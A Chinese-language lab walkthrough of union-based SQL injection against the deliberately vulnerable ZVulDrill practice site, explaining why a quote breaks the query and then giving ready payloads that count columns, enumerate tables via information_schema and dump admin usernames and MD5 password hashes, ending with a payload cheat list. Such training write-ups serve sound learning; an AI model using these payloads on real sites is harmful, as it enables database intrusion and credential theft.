可以说是一个比较经典、古老的靶场平台了,但丝毫不能撼动其在学者心中的地位~
一、解析漏洞的产生:
1、在搜索框分别输入1和1',可以发现前者的页面正常显示,而后者的却产生了报错
好的,这个搜索框存在sql注入漏洞,我们接下来注入sql语句...
打住!
S
2、要理解sql注入的产生,第一步就得搞清楚1和1'是个怎么回事儿
键入1的时候观察一下url
search.php #php脚本,即当前web浏览器执行的后台脚本文件
? #GET请求的特有符号,表示后面紧接着是GET参数
search=1 #GET参数,即php中的变量$_GET['search']等于1
3、以上帝视角观察一下源码(search.php),并还原sql语句
当我们分别键入1与1’时后台执行了这样的两条sql语句,可以看出来sql语句中用了两个单引号将值包裹了起来,即字符型
- SELECT * FROM comment WHERE comment_text LIKE '%1%'
- SELECT * FROM comment WHERE comment_text LIKE '%1'%'
第一条sql没有问题,第二条是因为1后面的引号与前面的引号产生了闭环,后面的%'无法正确执行,所以产生了报错
4、SQL 语句中无论字符型还是整型都会因为单引号个数不匹配而报错
回到源码来看,原来php只简单对$_GET['search']进行了一个非空的判断
所以咱们所输入的1’才能原封不动地被带入sql中进行执行,并改变原本设定的语法格式
补充:
为什么输入1'的后,url栏显示的是1%27
因为浏览器会对url中一些特殊的符号进行加密,其实更严谨点应该叫编码,即URL编码
但后台服务器接收到%27又解码成了1'
二、注入漏洞的利用:
1、SQL注入格式
构造一个and语句1’ and 1=1 #,没有报错证明语句被正确执行了
那么此时,我们就得到了一个sql注入语句的模板格式了:
1’ SQL语句 #
2、使用 order by 语句查询当前数据库字段长度
select * from table_name order by 1 #表示按select的第一个字段排序
select * from table_name order by N #表示按select的第N个字段排序
当然,N必须是小于等于tables_name表实际字段数的,不然就会产生报错
所以利用这一特性,当猜到两个相邻整数一个报错、另一个不报错,那么小的那个便是表的字段数
最后猜解到当前web页面用到的数据表有四个字段
- SELECT * FROM comment WHERE comment_text LIKE '%1' order by N #%'
3、利用union查看回显字段
UNION 操作符用于合并两个或多个 SELECT 语句的结果集
注意:UNION 内部的每个 SELECT 语句必须拥有相同数量的列。
列也必须拥有相似的数据类型。
每个 SELECT 语句中的列的顺序必须相同。
因为数据表有4个字段,那么select * from ... 其实就等同于select 字段1,字段2,字段3,字段4, from ...
所以就可以构造一个select XXX 语句来判断字段的回显情况,发现字段2与字段3能正常显示
- SELECT * FROM comment WHERE comment_text LIKE '%1' union select 1,2,3,4 #%'
4、利用内置函数获取数据库信息
将2、3字段替换为version()、user(),即可执行相关函数
- SELECT * FROM comment WHERE comment_text LIKE '%1' union select 1,version(),user(),4 #%'
通过database()爆出数据库名:zvuldrill
MySQL函数利用,常用函数
user() #返回 MySQL 连接的当前用户名和主机名
database() #返回当前连接的数据库名称
@@version #返回版本信息,等同于version()
session_user() #返回当前数据库连接的用户名,常用于查看当前用户的权限和角色
@@basedir #返回mysql的根目录
@@datadir #返回数据库的存储目录
@@version_compile_os #返回操作系统信息
三、敏感信息的获取:
Mysql版本>5.0 | Mysql版本<5.0 |
加入了一个information_schema这个系统表,这个系统表中包含了该数据库的所有数据库名、表名、列表,可以通过SQL注入来拿到用户的账号和口令 | 只能暴力跑表名 |
在操作之前,我们再以上帝视角看看这个information_schema中很全面的一张表columns
此表揽括了数据库的所有表的基础数据,所以在获取表数据之前可以先从它入手
select table_name from information_schema.columns
#查看所有表的表名
select table_name from information_schema.columns where table_schema=[数据库名]
#查看指定数据库的所有表表名
select * from information_schema.columns
#查看所有表的字段名
select * from information_schema.columns where table_name=[表名]
#插卡指定表的所有字段名
1、爆zvuldrill数据库里面的表名
- 1' union select 1,database(),table_name,4 from information_schema.columns where table_schema="zvuldrill" #
爆出admin、comment、users三张表
group_concat(distinct table_name) #将“记录”去重显示在一个单元格里
2、爆admin表里的字段名
- 1' union select 1,database(),column_name,4 from information_schema.columns where table_name="admin" #
爆出了三个字段
3、爆admin表数据
- 1' union select 1,admin_name,admin_pass,4 from admin #
到这里我们就已经拿到了后台管理员的账号和密码了
密码是进行了MD5加密的,找一个网站解密 https://www.cmd5.com/?lailu=www.itdka.cn
4、后台登录
ZVulDrill的后台登录地址为 http://[your ip]/zd/admin/login.php
后台页面应该是在信息收集阶段就得弄到了,涉及到的技术就是文件目录扫描,这里不进行探讨
登录成功!
总结
根据整个注入的流程,大概一下
1 #检查是否存在注入点
1’ #检查是否存在注入点(假设1'检测出)
1' order by * # #推测所在使用表的字段数,*表数目(*>实际数目报错,*<=实际错误则不报错)
1' union select 1,2,3,4# #检测回显字段
利用回显字段查找数据:
1' union select 1,database(),3,4 #
1' union select 1,@@version,user(),4 #
1' or 1=1 union select 1,database(),group_concat(distinct table_name),4 from information_schema.columns where table_schema="zvuldrill" #
1' or 1=1 union select 1,database(),column_name,4 from information_schema.columns where table_name="admin" #
1' or 1=1 union select 1,admin_name,admin_pass,4 from admin #